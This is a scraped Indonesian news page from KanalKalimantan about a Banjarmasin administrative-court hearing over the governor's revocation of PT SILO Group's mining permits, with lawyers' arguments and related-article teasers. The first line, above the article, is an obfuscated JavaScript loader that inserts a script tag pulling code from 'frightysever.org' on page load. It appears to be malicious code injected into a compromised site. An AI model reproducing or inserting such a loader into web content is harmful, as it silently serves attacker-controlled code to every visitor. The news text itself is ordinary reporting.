(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sidang keempat gugatan SK Gubernur Kalsel atas pencabutan IUP PT SILO Group berlangsung di PTUN Banjarmasin, Kamis (12/4). Seperti sidang sebelumnya, kuasa hukum pemprov masih menyoal terkait legalitas Yusril Ihza Mahendra selaku kuasa hukum PT SILO. Di sisi lain, Yusril meminta agar majelis hakim menunda SK terkait pencabutan IUP.
Yusril mengatakan, argumentasi kuasa hukum Gubernur Kalsel semuanya tak ada yang baru dan tak substansial. Apalagi yang disoal terus berkaitan dengan legalitasnya seperti tiga sidang sebelumnya. “Kami konsisten dengan apa yang menjadi gugatan, tak ada yang berubah, baik pada pokok gugatan dan juga replik yang sudah kita sampaikan pada persidangan kali ini,†tegas Yusril.
Terkait hal tersebut, Yusril meminta hakim segera memutuskan penundaan atas SK pencabutan tiga IUP pertambangan batu bata milik PT SILO Group karena kerugian terus dialami oleh perusahaan. Ia mendengar bahwa polisi menangkapi orang-orang yang melakukan tambang di areal SILO. Yusril meminta hal seperti itu dicegah lewat penundaan pencabutan izin SILO.
Sidang yang dimulai pukul 10.00 wita ini dipimpin hakim Kusuma Firdaus, Dewi Yustiani dan Lutfie Ardhian. Sidang berjalan lancar hingga pukul 13.30 wita.
Sementara itu, kuasa Hukum Pemprov Andi Muhammad Asrun mengatakan, isi materi gugatan SILO kepada Gubernur Kalsel sangat lemah dasar hukumnya.
“Formalitasnya tak bisa dilakukan Yusril, kemudian dikatakan tak ada hal baru apa yang dilaklukan kami. Jika memang tak ada yang baru, mengapa Yusril menjawab soal eksepsi yang tak ada dalam unsur gugatan,†katanya.
Menurut Asrun, pihak penggugat dinilai telah mengingkari diri sendiri. Ia berasumsi Yusril melangkahi prosedur hukum dan bukti karena tak bisa menunjukkan bukti sebagai advokat karier. Bahkan, kata Asrun, bukti adanya larangan setelah dicabut tak ada. “Coba mana tunjukkan kepada kami,†ujarnya.
Asrun menilai gugatan Yusril sangat kacau karena peraturan yang telah dicabut tahun 2010, dikatakan sesuai dengan peraturan tahun 2012. Ia menganalogikan orang yang mati tahun 2010, dikatakan masih hidup tahun 2012. Alhasil, kata Asrun, Yusril membangun jawaban yang sangat kontradiktif.
“Kami juga menyesalkan sikap emosional Yusril yang menilai Gubernur Kalsel kejam karena mencabut tiga izin PT SILO,†tegasnya. Gubernur Kalsel dianggap tepat mencabut IUP tiga anak usaha SILO karena SILO Group tak kunjung menambang sampai tahun 2013, sejak izin diterbitkan pada 2009.
Menurut Asrun, SILO Group baru memobilisasi aktivitas pertambangan pada 2016. Alhasil, Asrun mengklaim Yusril tak punya legalitas dan rasionalitas memadai untuk menggugat tiga SK Gubernur Kalsel. Apalagi, objek gugatan ini rangkaian keputusan yang terbit sejak 2009, bukan izin baru.
“Yang jadi keanehan soal gugatan Yusril, kami nilai tak ada dasarnya. Apalagi meminta penundaan terhadap pencabutan izin SILO. Apa yang mau ditunda,†ujar dia.
Sidang akan dilanjutkan pekan depan, Kamis (19/4) dengan agenda mendengarkan jawaban dari pihak kuasa hukum Gubernur Kalsel. (ammar/net)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.